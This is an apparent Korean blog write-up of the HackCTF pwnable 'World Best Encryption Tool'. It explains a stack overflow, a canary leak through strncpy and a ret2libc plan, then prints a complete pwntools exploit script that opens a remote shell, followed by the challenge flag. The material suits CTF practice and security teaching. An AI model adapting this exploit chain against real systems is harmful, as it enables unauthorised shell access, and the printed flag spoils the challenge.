[Pwnable] World Best Encryption Tool
Wargame/HackCTF

[Pwnable] World Best Encryption Tool

이번에는 World Best Encryption Tool이다.

 

이것도 취약점이 대놓고 보여서 쉬우니까 후딱 풀자

 

 

Canary, NX, Partial Relro, none pie이다.

 

main이다.

 

src에 입력받는 부분에 %s로 length check가 없어서 BOF가 터진다.

 

그리고 입력한 문자열을 0x31만큼 0x1C랑 xor연산해준다.

 

dest로 src 문자열을 복사하고, s1에 또 입력받는데

다시 BOF가 터진다.

 

그럼 우선 익스 시나리오를 구상해보자

 

 

1. src 입력 받는 부분으로 canary leak -> strncpy 이용해서 canary 1byte 덮으면 가능

2. s1에 Yes 입력해서 다시 src에 입력받음

3. libc leak, return to main

4. return to system("/bin/sh\x00")

 

나도 여기서 삽질을 조금 했는데 이 문제에서 libc leak을 할 때 주의해야할 점이 있다.

 

strncpy는 null byte가 존재할 때까지 복사하기 때문에 null byte가 끝에 없으면

이상한 값까지 다 복사하는 경우가  생긴다.

 

그래서 나는 처음에 dummy값을 줄 때 canary 전까지 null byte를 줬다

 

다르게 푸신 분들도 많아서 다른 분 롸업도 보면 좋을거 같다.

 

그럼 이제 익스 코드~

 

 

 

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3027)

# p = process("./prob")

pr = 0x00000000004008e3

e = ELF("./prob")
# libc = e.libc
libc = ELF("./libc6-amd64_2.9-4ubuntu6.3_i386.so")

puts_plt = e.sym['puts']
puts_got = e.got['puts']

scanf_got = e.got['__isoc99_scanf']
setvbuf = e.got['setvbuf']

main = e.sym['main']

payload = ""
payload += "A" * (0x40 - 0x8)
payload += "B"

p.sendlineafter("\n", payload)

p.recvuntil("B")

canary = u64(p.recv(7).rjust(8, '\x00'))

log.info("canary : " + str(hex(canary)))

p.sendlineafter("Wanna encrypt other text? (Yes/No)\n", "Yes")

payload = ""
payload += "\x00" * (0x80 - 0x8)
payload += p64(canary)
payload += "C" * 0x8
payload += p64(pr)
payload += p64(scanf_got)
payload += p64(puts_plt)
payload += p64(main)

p.sendlineafter("Your text)\n", payload)

p.sendlineafter("No)\n", "No")

scanf_addr = u64(p.recv(6).ljust(8, '\x00'))


sleep(0.1)
system = scanf_addr - 0x26140
binsh = scanf_addr + 0x121887
one_gadget = [0x3f542, 0x3f5a2, 0xd180d]

payload = ""
payload += "\x00" * (0x80 - 0x8) 
payload += p64(canary)
payload += "C" * 0x8
payload += p64(pr)
payload += p64(binsh)
payload += p64(system)

p.sendlineafter("Your text)\n", payload)

sleep(0.1)
p.recvuntil('(Yes/No)\n')
p.sendline('No')
p.interactive()

 

익스는 이렇게 짜면 되고 libc file은 하위 3byte offset 봐서

libc database에 찾으면 된다.

 

 

FLAG = HackCTF{I_th0ught_X0R_is_the_w0rld_b3st_Encrypti0n}

'Wargame > HackCTF' 카테고리의 다른 글

[Pwnable] j0n9hyun's secret  (0) 2021.10.19
[Pwnable] Unexploitable #2  (0) 2021.10.18
[Pwnable] Register  (0) 2021.10.18
[Pwnable] RTC  (0) 2021.10.18
[Pwnable] SysROP  (0) 2021.03.08